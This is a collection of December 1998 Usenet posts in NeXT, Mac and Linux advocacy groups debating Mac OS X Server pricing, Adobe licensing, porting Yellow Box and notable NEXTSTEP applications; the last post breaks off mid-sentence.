Subject: Re: New date for OS X Server?
Date: Sat, 5 Dec 1998 09:51:13 +0100
Organization: Completely Disorganized
Message-ID: <1djjmg3.9nvrlx1jr28eaN@port212.bonn.ndh.net>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net> <SCOTT.98Dec4145454@slave.doubleu.com>
NNTP-Posting-Date: 5 Dec 1998 08:51:11 GMT
Mail-Copies-To: never
User-Agent: MacSOUP/D-2.4b4
Scott Hess <scott@nospam.doubleu.com> wrote:
> We're talking about perhaps a couple hundred developers either way.
> Long-term, the difference between 100 and 250 developers during the
> first six months of 1999 is going to be astronomical. Apple has to
> leverage off of someone, here, and it isn't going to happen if it
> costs $1500 to get into the pool.
The current entry level of the developer program (well, the lowest
interesting level) is $500. I take it, that members of that program will
get access to Mac OS X Server. So, it looks to me that $500 has to be
the upper limit for retail pricing.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.schuerig.de/michael/
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0512980105220001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102> <3668383F.79DC79A6@gamewood.net>
Organization: Fizbin Consulting
Date: Sat, 05 Dec 1998 01:05:21 -0800
NNTP-Posting-Date: Sat, 05 Dec 1998 01:05:21 PDT
In article <3668383F.79DC79A6@gamewood.net>, William Cloud Hicklin
<solicitr@gamewood.net> wrote:
> *especially* since R/Intel would have had dubious commercial
> value in competition with Windows.
Classic shortsighted view of the world as it really is.
Harry
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0512980108130001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102> <slrn76g988.97g.jedi@dementia.mishnet>
Organization: Fizbin Consulting
Date: Sat, 05 Dec 1998 01:08:13 -0800
NNTP-Posting-Date: Sat, 05 Dec 1998 01:08:11 PDT
In article <slrn76g988.97g.jedi@dementia.mishnet>, jedi@dementia.mishnet
() wrote:
> That's a fairly broad directive however which can be intrepreted
> in many ways especially considering that bit about 'the whole
> truth' in the witnesses oath.
Yeah, whatever... This isn't worth discussing.
Harry
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec5030026@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com>
<747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
<749f30$q57$1@news.xmission.com> <749ppf$mc$1@nnrp03.primenet.com>
In-reply-to: John Jensen's message of 4 Dec 1998 23:04:15 GMT
Date: 5 Dec 98 03:00:26
NNTP-Posting-Date: Sat, 05 Dec 1998 03:03:43 PDT
In article <749ppf$mc$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> writes:
Don Yacktman <don@misckit.com> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > Scott Anguish <sanguish@digifix.com> wrote:
: > : On 12/03/98, John Jensen wrote:
: > : >Apple has had two years to resolve licensing and royalty issues.
: >
: > : This assumes that the party that they have to resolve them
: > : with wishes them to be resolved. Adobe seems intent on
: > : killing DPS and PS quickly and without regard for any
: > : collateral kill damage.
: >
: > In which case the ineptitude occured at the time of the NeXT
: > purchase, when Apple bought an OS burdened with an unworkable
: > license.
: That's rather disingenious. [...]
I am surprised that you think so. The costs and problems
associated with runtime fees are pretty well known in the computing
industry. If Apple really was doing a comparative analysis of the
various OSes available for license late in '96, the runtime fee
associated with each certainly should have been in their
spreadsheet. If a fee was too high, a resolution to the problem
should have been developed at that time.
That's the point of the spinning. The assumption is that Adobe did
not take the same stance WRT Apple that they had WRT NeXT. If the
numbers you crunched turn out not to be the numbers you have to live
with, then no amount of due diligence is going to save you.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: bart.lateur@skynet.be (Bart Lateur)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 14:26:58 GMT
Organization: MediaMind
Message-ID: <36744169.4435962@news.skynet.be>
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net> <36683A6B.9A8E24A6@ncal.verio.com> <nK1a2.638$I04.1828@typhoon-sf.snfc21.pbi.net>
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NNTP-Posting-Date: 5 Dec 1998 14:33:10 GMT
William Edward Woody wrote:
>Transforming Bezier curves is a non-trivial thing to do, regardless
>if you are doing this in 2D or 3D--the control points cannot simply
>be translated through the transformation matrix in the same way.
Unlurk mode.
I have checked this out. I have mathematically proven, although math
isn't my strongest point, that the Bezier curve that you get when
projecting a Bezier curve's control points, is not the same curve as the
projection of the original curve. In fact, I was quite disappointed at
that.
(Note that the projection of a straight segment is the same as the
connection between the projections of the endpoints. Same thing for
polygons. But not for Bezier curves.)
(Another note: I don't think that projections count as affine
transformations.)
Now you're suggesting that the projection of a Bezier curve would yet be
a Bezier curve? I find that a bit hard to believe. Can you expand on
that a little, and if it's true, how I could find the control points for
the projection?
Bart.
Message-ID: <3668CFC5.A7041DBF@nstar.net>
Date: Sat, 05 Dec 1998 00:16:37 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com>
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quinlan@intergate.bc.ca wrote:
>
> In article <WGB92.2484$CY1.9917779@news.itd.umich.edu>,
> "Jin Kim" <kwazyjin@hotmail.com> wrote:
> > That still doesn't make sense to me. Why would Apple spend the
> > resources/money porting BSD/YB/Carbon to Linux when Mach already works on
> > x86? If Apple wants to discontinue working on x86 solution, it'll just
> > stop, not use another kernel.
>
> At the very least, it would allow Apple to stop worrying about PC driver
> support; the linux people would worry about that.
It's much more than that, obviously. Why would Apple spend the
resources/money porting YB to Windows NT when Mach already works on x86?
It's exactly the same scenario, only a different market. And covering
more markets is the whole point, a point Apple seems to have missed to a
staggering extent.
It goes beyond far beyond Linux. Microsoft sells to whomever is
interested in expanding its platforms. Apple deliberately *ignores*
developers who aren't within its "target markets".
Just a little bit of the NeXT wisdom acquired with the $400 million
purchase.
MJP
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Sat, 05 Dec 1998 14:46:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74bgvp$dd2$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net> <746o1f$dnt$1@nnrp1.dejanews.com> <SCOTT.98Dec4150741@slave.doubleu.com>
In article <SCOTT.98Dec4150741@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <746o1f$dnt$1@nnrp1.dejanews.com> malcolm@plsys.co.uk writes:
> what happens if you hold down the Shift key whilst mousing in the
> colour wheel itself?
>
> Now you've got me wondering why it doesn't to a similar "keep same
> radius" type thing for Alternate or Command or something...
>
I'm not sure -- I wondered that when I found the Shift-drag trick... which I
only found by accident when I was updating an OPENSTEP User course I gave
about six months ago (yes, some folks still want training in this stuff!).
Thinking about it though, the Shift constraint is useful for finding
complementary colours (as Rick Stanford also noted), and colours of the same
hue but different saturation; I'm not sure what the use would be of finding
colours of different hue but with the same saturation (i.e. same radius)?
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 15:08:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74bia8$eah$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com>
In article <74ajf6$i24$1@camel21.mindspring.com>,
"Mark Eaton" <markeaton@mindspring.com> wrote:
> In article <749uf4$66l$1@nnrp1.dejanews.com> , malcolm@plsys.co.uk wrote:
>
> >In article <7481fj$31u$1@camel18.mindspring.com>,
> > "Mark Eaton" <markeaton@mindspring.com> wrote:
> >> I may be missing something here, but if it is/was so great where are
> >> all the ground breaking applications?
> >>
> >You mean like WorldWideWeb.app? Tailor.app? Mathematica.app?
> Improv.app?
>
> All of which went on to fame and fortune on other platforms.
>
So what? That wasn't the question you asked. You asked for a list of
"groundbreaking" apps, and you got it. I omitted at least one other: Animo.
Pages was probably another I'd consider "groundbreaking", and of course
Chuck's listed a number of NeXT's own apps which still haven't really found
equals.
> None used OpenStep (nee YellowBox) on the other platforms
>
Possibly because they were written in NEXTSTEP, before the
platform-independent realisation of OPENSTEP was developed? <sigh>
> - which to me means that
> their initial development on OpenStep was incidental.
>
Not at all; we have documentary evidence from the authors of at least
WorldWideWeb.app and Improv that the devlopment would not have been
worthwhile on other platforms. Lotus spent orders of magnitude more
resources porting Improv to Windows, and still never got a satisfactory
product. Given how long it has taken for Cambridge Animation to port to
NT/SGI I'd say that NEXTSTEP was a considereable factor in the development of
Animo too.
> (btw I believe
> Mathematica was first developed on the Mac, but thats a minor point)
>
The notebook interface was developed first on the NeXT.
> >> YellowBox reminds me of the Fermi Paradox: where are they? After all
> >> these years, people still get glaze-eyed and whisper 'if you build
> >> it they will come'. I'm sure there are a million tired old excuses
> >> about how screwed up NeXT's pricing was, how stupid the industry is,
> >> etc. But at this point I question that all it takes is another
> >> version...
>
> I've used most of the commercial OpenStep software which is available
> on the net at work, either in demo or site-licensed form... The point
> isn't that there isn't any software for OpenStep/Rhapsody. There are
> plenty of knock-off productivity apps. The point is that there aren't
> any OpenStep apps that would make a user think twice about leaving his
> or her current platform. When I said "where are they" I was talking
> about YellowBox apps that are truly unique, as in only possible on YB
> (think PageMaker 1.0 on a Mac).
>
That's not the question you asked -- you asked "Where are all the apps?" I
told you.
> > market there were a *lot* of applications. You can get all your
> > daily work done using only NEXTSTEP apps -- I still do. There were
> > at least three 3D
>
> How does that qualify as "ground breaking"?
>
It doesn't count as groundbreaking. It counts as a refutation of your
assertion that there aren't any apps.
> IMHO, on a new platform generic productivity apps have to come
> after killer first-of-a-kind, apps if at all.
>
Oh twaddle. No matter how many groundbreaking apps there are folks still need
to get their work done. Yes, killer apps can attract people to a platform,
and Improv, Animo and NeXT's developer tools (including WebObjects) did. The
absence of Micro$oft's suite of applications probably harmed the platform as
much as anything else (e.g. price), though, because without them users
complained that they couldn't co-operate adequately with their fellow-workers
(despite the existence of applications which were M$-compatible which would
have enabled them so to do). Vide the anxiety caused by the possibility of
Micro$oft withdrawing Office from the Mac...
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: Sat, 05 Dec 1998 10:54:39 -0500
Organization: Styx DTP
Sender: monner@dial01p41.ottawa.storm.ca
Message-ID: <3669573D.44ACB3E@tone.ca>
References: <749llu$ja$4@news.eunet.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 5 Dec 1998 15:55:25 GMT
I assume you want to keep using the future versions of OpenStep which would be
MacOSXServer and then MacOSX. The problem with buying non-Apple hardware is
that we aren't sure how long Apple will support these systems on non-Apple
hardware. (Though we might suspect for the sake of WebObjects, if for no other
reason, support won't end any time soon). I'd at least hold off until the
anouncements from MacWorld in January.
Michael Monner
stephane@dial.eunet.ch wrote:
> I have a Next station and i want buy a new computer. What is the best
> solution to replace my next station up to USD 7‚000 ?? PC, Sun, HP, wait to
> apple and mac OSX .....
>
> Thanks for answers.
>
> Stephane
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 16:00:26 GMT
Organization: Primenet (602)416-7000
Message-ID: <74blaq$eqt$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
<749f30$q57$1@news.xmission.com> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote:
: In article <749ppf$mc$1@nnrp03.primenet.com>,
: John Jensen <jjens@primenet.com> writes:
: I am surprised that you think so. The costs and problems
: associated with runtime fees are pretty well known in the computing
: industry. If Apple really was doing a comparative analysis of the
: various OSes available for license late in '96, the runtime fee
: associated with each certainly should have been in their
: spreadsheet. If a fee was too high, a resolution to the problem
: should have been developed at that time.
: That's the point of the spinning. The assumption is that Adobe did
: not take the same stance WRT Apple that they had WRT NeXT. If the
: numbers you crunched turn out not to be the numbers you have to live
: with, then no amount of due diligence is going to save you.
Wasn't Apple's line something like "we know we have a runtime fee but we
plan on negotiating it away within 12 months"?
You may be right that Adobe changed their attitude ... but I still see
this dangerous assumption that the license could be negotiated away
"later".
Did Adobe change the numbers for the worse... or did Apple assume they
could change the numbers for the better?
If Adobe made some kind of assurances to NeXT and Apple at the time of the
merger and then reneged, this is a different thing entirely. In that case
I cast all my vinegar on Adobe and not on Apple ;-).
John
Date: Sat, 05 Dec 1998 10:28:31 -0600
From: alex@webis.net (Alex Kac)
Mail-Copies-To: alex@webis.net
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <alex-0512981028310001@cs48-147.austin.rr.com>
References: <alex-0412981742280001@cs48-37.austin.rr.com> <74a0o6$nqs@ns2.alink.net>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <74a0o6$nqs@ns2.alink.net>, msb@inquisit.com wrote:
>Strange, I got it to work without problems (Using the drivers which ship on
>their floppies.) and then transferred SP3 to the one machine which I have
>running NT 4.0.
I don't know what was wrong. I tried and tried and tried with no success
with their drivers. I even downloaded newer drivers from 3Com's site to
help. It finally worked on the the third reinstall.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: David Campbell <wlkoo@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server and Yosemite connection
Date: Sun, 06 Dec 1998 00:39:20 +0800
Organization: Singapore Telecommunications Ltd
Message-ID: <366961B8.1DB96EEC@yahoo.com>
References: <744l0m$166$1@your.mother.com> <B28D9B72-8C759@208.200.110.112> <749e23$a02@news.or.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Yosemite will be launched in MacWorld '99
Scott M Neal wrote:
> In article <B28D9B72-8C759@208.200.110.112>,
> scott hand <vidahand@qx.doh!.net> wrote:
> >
> >Or, to be just a little more absurd, Apple will outsource the Intel-box
> >manufacturing to Gateway 2000. Yes, it all fits together nicely now...
> >
> >scott
>
> And Gateway will fold the whole system in with its upcoming
> Amiga II plans, making a fully-compatible Merced-based Mac/PC/Amiga/NeXT
> box ;-D
>
> Scott (another one)
> Definitely not speaking for Intel on this...!
From: scholl@joxer.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 5 Dec 1998 11:55:49 -0500
Organization: University at Buffalo
Message-ID: <74boil$rhk$1@joxer.acsu.buffalo.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <748sa2$t0o$1@hercules.acsu.buffalo.edu> <36689F25.A4B0D385@digiscape.com>
NNTP-Posting-User: scholl
Chris Welch (chaotic42@digiscape.com) wrote:
: Edward P Scholl wrote:
: > Chris Welch (chaotic42@digiscape.com) wrote:
: > : How ironic. Normally free linux costs more to have installed than
: > : windows.
: > not free if you want support...
: How-to's are quite free.
i'm not trying to argue with you, as i quite like linux. however, most
people most definately do not consider how-to's as support...
-ed
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Net '94 = Linux '99
Date: Sat, 05 Dec 1998 17:59:44 GMT
Organization: Airnews.net! at Internet America
Message-ID: <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Sat Dec 5 11:49:44 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Sat, 05 Dec 1998 17:30:04 +0100, Geert.Poels@village.uunet.be
(Geert Poels) wrote:
>On http://www.of.org/rhaptel/proposal/index.html
>I read about their call to Apple for making
>the Mach kernel and drivers available
>as open source.
>
>It's very easy to start dreaming what this would
>imply if the whole OS would be open source
>both on Risc and intel-processors....
More and more, it looks like 1999 is shaping up to be Linux's 1994.
As you may recall, there was a huge amount of talk about the Net in
1993 and it started to grow into 1994. But it was really until
Netscape's summer IPO that things went crazy.
Although Mosaic was floating about, and used by many, Netscape had
just enough additional features (although at first it lacked the
printing option for some strange reason) that it became huge. (Or put
in a different way, the Net became huge because it was easy to use via
the Web.) Newbies grew to associate the Web with Netscape. (You
_could_ associate the current KDE and GNOME efforts with the Mosaic of
1994.)
And what, exactly, do I mean by someone contributing their GUI? Well,
for everything to work out, it needs to be a total package. You'd buy
or download your Newbie-Proof GUI with Linux (tm) and it'd
automatically (or nearly so) prepare and partition your harddrive for
Linux. You'd reboot or whatever and you'd have a nice shiny GUI.
Now, the question is, who is going to make the Billion Dollar Decision
and make their GUI open source for Linux? (At this point, really can't
see a proprietary GUI for Linux getting much momentum or good press)
The usual suspect are:
(1) IBM, with OS/2's Workspace Shell (I think that's what it's
called).
That would be a great choice and would help OS/2 come back from the
dead. Of course, you'd have to put up with all the OS/2 zealots
suddenly becoming Linux zealots. IBM is a huge company which could
probably eat open sourcing the GUI for its up to now
also-ran-but-technically-superior-to-Windoze OS. Of course, it being
a huge company also makes it more likely that it'll ignore the
benefits of doing so.
(2) Acorn's RiscOS GUI.
I don't know much about that OS, but it's supposed to have a nice GUI.
Unfortunately for it, it has, like, zero market share outside of the
UK. So there is every _logical_ reason to contribute its GUI to Linux,
but I don't know how difficult it would be techwise or businesswise.
(3) Apple.
It is so painfully obvious for Apple to switch to Linux that it's
growing ever _more_ obvious that they're going to blow it and simply
go out of business. They could contribute Yellow Box to Linux, or make
OpenStep totally open source (that would certainly give GNUStep a shot
in the arm, huh 8-) ) Or get really crazy and open source everything
but the kernel of OSX. Apple makes money on apps, support and
hardware. But how do you get Apple, which of late has acted as a
Qusiling in the War Against M$, to do such a thing (Oh my lawd, M$ may
stop shipping Office for the Mac!) The easiest way is for Sun to
succeed in buying Apple. The other way is for a Linux company to go
public and have a high enough stock price that they can buy Apple with
stock.
Ironically, it's looking as though the general purpose desktop for
consumer use may be on the way out. But the only by striking at the
heart of the beast (the ease of use of the Windoze GUI) will world
domination occur. 8->
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 05 Dec 1998 17:53:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74bru4$lsb$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
In article <3668CFC5.A7041DBF@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> It's much more than that, obviously. Why would Apple spend the
> resources/money porting YB to Windows NT when Mach already works on x86?
> It's exactly the same scenario,
>
??!! Not at all: the rationale here is that YB/NT allows developers to deploy
products developed with Apple tools for MacOS X on NT, which opens up the
market for those *developers*, developers Apple desperately needs.
It also allows Apple to deploy their own tools, such as WebObjects, on NT,
thus expanding their market.
> only a different market. And covering
> more markets is the whole point, a point Apple seems to have missed to a
> staggering extent.
>
> It goes beyond far beyond Linux. Microsoft sells to whomever is
> interested in expanding its platforms. Apple deliberately *ignores*
> developers who aren't within its "target markets".
>
Quite reasonably too -- it's called "focus". If you have restricted
resources -- which sadly Apple does (and Micro$oft pretty much doesn't) --
there's no point in spending *large* amounts of time and money in peripheral
areas. As Apple recovers I'd expect the company's horizons to expand (we've
already seen this with WebObjects).
> Just a little bit of the NeXT wisdom acquired with the $400 million
> purchase.
>
Indeed. It made sense for NeXT then (sadly), and it makes sense for Apple
now.
What would be a problem is if Apple picked up NeXT's tendency for not simply
*ignoring* developers/whoever in non-target markets, but actively
discouraging or obstructing them.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: not@my.address.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 5 Dec 1998 18:08:51 GMT
Organization: Arizona State University
Message-ID: <74bsrj$ojf$1@news.asu.edu>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com>
In-Reply-To: <749uf4$66l$1@nnrp1.dejanews.com>
On 12/04/98, malcolm@plsys.co.uk wrote:
>In article <7481fj$31u$1@camel18.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
>> I may be missing something here, but if it is/was so great where are
>> all the ground breaking applications?
>>
>You mean like WorldWideWeb.app? Tailor.app? Mathematica.app? Improv.app?
>
There's also Pages, NoteBook, WatchMe, EquationBuilder, Rulers, RedMark,
NeXTMail, and Preview. Then there's all those .bundles that add functionality
to previously compiled apps ... like the one that adds a PDF option to the
standard NeXT print panel in EVERY single app on my machine, some of which were
compiled before there was a PDF spec.
--
invert: umich.edu jdevlin
insert: shift "2"
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 18:12:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74bt1p$mq0$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com>
In article <74ajf6$i24$1@camel21.mindspring.com>,
"Mark Eaton" <markeaton@mindspring.com> wrote:
I missed this out of my other reply:
> The point is that there aren't any OpenStep
> apps that would make a user think twice about leaving his or her current
> platform. When I said "where are they" I was talking about YellowBox
> apps that are truly unique, as in only possible on YB (think PageMaker
> 1.0 on a Mac).
>
You're not being consistent. PageMaker isn't "truly unique" as you've
defined it. Page layout apps are available for all platforms.
Whatever, apps that would make a user think twice about leaving his or her
current platform *at the time they came out* (which is consistent with your
choice of PageMaker), and which took a long time to appear anywhere else,
indicating that NEXTSTEP/OPENSTEP had a fair amount to do with their genesis:
Animo, Improv, InterfaceBuilder/ProjectBuilder, WebObjects, Tailor, (even
Preview), and any number of custom vertical applications which it was only
viable to develop on NEXTSTEP.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <36697D5B.36286143@nstar.net>
Date: Sat, 05 Dec 1998 12:37:15 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com>
Content-Type: text/plain; charset=us-ascii
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malcolm@plsys.co.uk wrote:
> > It's much more than that, obviously. Why would Apple spend the
> > resources/money porting YB to Windows NT when Mach already works on x86?
> > It's exactly the same scenario,
> >
>
> ??!! Not at all: the rationale here is that YB/NT allows developers to deploy
> products developed with Apple tools for MacOS X on NT, which opens up the
> market for those *developers*, developers Apple desperately needs.
>
> It also allows Apple to deploy their own tools, such as WebObjects, on NT,
> thus expanding their market.
That's exactly what I was saying about Linux. I don't see the
distinction you're making.
> Quite reasonably too -- it's called "focus". If you have restricted
> resources -- which sadly Apple does (and Micro$oft pretty much doesn't) --
> there's no point in spending *large* amounts of time and money in peripheral
> areas. As Apple recovers I'd expect the company's horizons to expand (we've
> already seen this with WebObjects).
The "limited resources" argument just doesn't have any evidence to back
it up, none whatsoever. In the first place, it does nothing to excuse
Apple's behavior toward developers who have been refused demos, betas,
